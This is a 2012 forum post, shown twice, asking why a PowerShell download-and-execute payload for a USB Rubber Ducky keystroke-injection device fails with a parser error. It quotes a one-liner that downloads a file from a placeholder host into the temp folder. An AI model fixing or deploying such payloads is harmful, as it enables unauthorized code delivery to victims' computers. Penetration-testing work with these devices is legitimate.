[Payload] Powershell Download/execute in Classic USB Rubber Ducky Posted November 16, 2012 Ok, I must be doing something wrong with this payload. Everytime I try to run the payload, I get the following: C:\Users\xxxx>powershell -noprofile -noninteractive -command "& {$client=new-object system.net.webclient;$client.downloadfile("http://x.x.x.x/26. txt", "$env:temp\_shella.txt")}" Missing ')' in method call. At line:1 char:65 + & {$client=new-object system.net.webclient;$client.downloadfile( <<<< http://x.x.x.x/26.txt, $env:temp\_shella.txt)} + CategoryInfo : ParserError: (CloseParenToken:TokenId) [], ParentContainsErrorRecordException + FullyQualifiedErrorId : MissingEndParenthesisInMethodCall I can't even get it to run right from the command line. I can get it to run if I break it up. If I run powershell first, then execute the new-object downloadfile portion, the file downloads fine. I'm running this on Windows 7 Enterprise. Any ideas?
[Payload] Powershell Download/execute
in Classic USB Rubber Ducky
Posted
Ok, I must be doing something wrong with this payload. Everytime I try to run the payload, I get the following:
C:\Users\xxxx>powershell -noprofile -noninteractive -command "& {$client=new-object system.net.webclient;$client.downloadfile("http://x.x.x.x/26. txt", "$env:temp\_shella.txt")}" Missing ')' in method call. At line:1 char:65 + & {$client=new-object system.net.webclient;$client.downloadfile( <<<< http://x.x.x.x/26.txt, $env:temp\_shella.txt)} + CategoryInfo : ParserError: (CloseParenToken:TokenId) [], ParentContainsErrorRecordException + FullyQualifiedErrorId : MissingEndParenthesisInMethodCallI can't even get it to run right from the command line. I can get it to run if I break it up. If I run powershell first, then execute the new-object downloadfile portion, the file downloads fine. I'm running this on Windows 7 Enterprise. Any ideas?